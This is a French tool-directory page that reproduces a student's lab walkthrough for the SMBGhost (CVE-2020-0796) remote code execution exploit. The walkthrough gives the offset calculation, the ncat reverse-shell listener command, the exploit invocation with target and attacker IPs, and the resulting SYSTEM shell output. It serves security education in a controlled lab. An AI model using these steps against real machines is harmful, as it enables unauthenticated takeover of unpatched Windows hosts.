Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-0796-SMBGhost-Exploit-Demo — Exploit pédagogique de type preuve de concept pour CVE-2020-0796 (SMBGhost) démontrant une exécution de code à distance (RCE) sans authentification sur Windows SMBv3. Comprend la mise en place pas à pas d'un laboratoire, le calcul d'offset et l'exécution d'un shell inversé pour une formation contrôlée en cybersécurité. | Kitploit
Outils/GitHubGitHub/tdevworks/cve-2020-0796-smbghost-exploit-demo
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de BinairesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
tdevworks/cve-2020-0796-smbghost-exploit-demo

CVE-2020-0796-SMBGhost-Exploit-Demo

Voir le dépôt
il y a 1 anPas encore vérifié

À propos

Exploit pédagogique de type preuve de concept pour CVE-2020-0796 (SMBGhost) démontrant une exécution de code à distance (RCE) sans authentification sur Windows SMBv3. Comprend la mise en place pas à pas d'un laboratoire, le calcul d'offset et l'exécution d'un shell inversé pour une formation contrôlée en cybersécurité.

Partager

Démonstration d'exploit CVE-2020-0796 (SMBGhost)

Ce projet présente une preuve de concept (PoC) de l'exploit CVE-2020-0796, également connu sous le nom de SMBGhost - une vulnérabilité RCE critique sans authentification affectant les systèmes Windows 10 et Windows Server utilisant SMBv3. Il a été développé dans le cadre d'un projet scolaire de cybersécurité. Tout le crédit pour le code de l'exploit revient à ZecOps. Je l'ai seulement utilisé et adapté à des fins éducatives pour démontrer l'exploitation de CVE-2020-0796 dans un environnement de laboratoire contrôlé.

Prérequis pour la démonstration

Pour reproduire cette démonstration, la configuration suivante est requise :

Machine attaquante

  • VirtualBox (en utilisant NATNetwork pour le réseau des machines virtuelles)
  • Windows 10 (version récente quelconque)
  • Python 3.x (ajouté au PATH système)
  • Netcat (inclus avec Nmap ou installé séparément)
  • Script d'exploit depuis le PoC GitHub :
    SMBleedingGhost.py par ZecOps

Machine cible

  • VirtualBox (même configuration NATNetwork)
  • Windows 10 version 1903, release 19H1
    Build 18362.356 – 2019.09, Édition Familiale ou Professionnelle (x64)
  • Pare-feu Windows désactivé (pour autoriser l'accès au port 445)
  • Script de calcul des offsets depuis le PoC GitHub :
    calc_target_offsets.bat par ZecOps

Démonstration : Exploit pas à pas

Étape 1 : Récupérer les adresses IP des deux machines virtuelles

  1. Lancez l'Invite de commandes sur les machines virtuelles Attaquante et Cible.

  2. Exécutez la commande suivante sur chaque machine :

    root@kitploit:~
    ipconfig
    

Screenshot 2025-05-16 172329

  1. Notez les adresses IP des machines virtuelles — vous les utiliserez dans les étapes suivantes.

Étape 2 : Calculer les offsets sur la machine cible

  1. Sur la machine cible, naviguez jusqu'au dossier CVE-2020-0796-RCE-POC-master.
  2. Double-cliquez pour exécuter le script : calc_target_offsets.bat
  • Cela générera les offsets mémoire nécessaires à l'exploit.
  • Gardez la fenêtre ouverte et notez les valeurs affichées — vous les utiliserez à l'étape suivante.

Screenshot 2025-05-16 172350


Étape 3 : Mettre à jour le script d'exploit sur la machine attaquante

  1. Sur la machine attaquante, ouvrez le même dossier CVE-2020-0796-RCE-POC-master.
  2. Faites un clic droit sur SMBleedingGhost.py et ouvrez-le avec le Bloc-notes.
  3. Dans le fichier SMBleedingGhost.py, faites défiler vers le bas et localisez la section qui commence par OFFSETS = {.
  4. Remplacez les valeurs d'offset existantes par celles obtenues de la machine cible.
  5. Enregistrez le fichier après modification.
  6. Vous pouvez maintenant fermer la fenêtre d'offsets sur la machine cible.

Screenshot 2025-05-16 172403


Étape 4 : Démarrer le listener Netcat sur la machine attaquante

Ouvrez une nouvelle Invite de commandes et exécutez :

root@kitploit:~
ncat -lvp 4321
  • Cela configure un listener sur le port 4321 pour recevoir un reverse shell de la machine cible en cas d'exploitation réussie.
  • Vous pouvez changer le numéro de port si nécessaire.

Screenshot 2025-05-16 172419


Étape 5 : Exécuter l'exploit depuis la machine attaquante

  1. Ouvrez une autre Invite de commandes et naviguez jusqu'au répertoire du PoC (j'ai enregistré le mien sur le Bureau) :
root@kitploit:~
cd Desktop
cd CVE-2020-0796-RCE-POC-master
dir
  1. Exécutez l'exploit avec les IP et le port appropriés :
root@kitploit:~
python SMBleedingGhost.py <target_ip> <attacker_ip> <port>

Screenshot 2025-05-16 172450

Exemple utilisé dans cette démonstration :

root@kitploit:~
python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
  • 192.168.18.61 : IP de la machine cible
  • 192.168.18.62 : IP de la machine attaquante
  • 4321 : Port utilisé dans le listener netcat

Résultat de l'exploitation

En cas de succès, la fenêtre netcat affichera :

root@kitploit:~
Microsoft Windows [Version 10.0.18362.356]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Cela confirme que :

  • La machine cible a été exploitée
  • La machine attaquante dispose désormais de privilèges système

Vous pouvez valider l'accès en exécutant :

root@kitploit:~
whoami

Cela donnera :

root@kitploit:~
whoami
nt authority\system

Cela signifie que la machine attaquante a maintenant des privilèges système sur la machine cible.

Screenshot 2025-05-16 172512

Vous pouvez également exécuter :

root@kitploit:~
ipconfig

Pour vérifier que vous interagissez avec le réseau de la machine cible.

Screenshot 2025-05-16 172550

Remarque : La machine cible peut planter après l'exploitation. Si c'est le cas, vous pouvez la redémarrer. La session de l'attaquant devra être rétablie après le redémarrage.

Remerciements

Cette démonstration est basée sur la preuve de concept disponible publiquement développée par ZecOps.

Tout le crédit du code d'exploit revient à ZecOps. Je l'ai seulement utilisé et adapté à des fins éducatives pour démontrer l'exploitation de CVE-2020-0796 dans un environnement de laboratoire contrôlé.

Références

  • CVE-2020-0796 Remote Code Execution POC

Auteur

@tdevworks

Avertissement

Ce dépôt est créé à des fins éducatives uniquement.

Tous les outils, scripts et techniques démontrés sont destinés à aider à comprendre les vulnérabilités de cybersécurité dans un environnement de laboratoire contrôlé. N'essayez pas d'utiliser les documents fournis sur des systèmes ou réseaux que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

Toute mauvaise utilisation du logiciel ne relèvera pas de la responsabilité de l'auteur.

Télécharger l’outil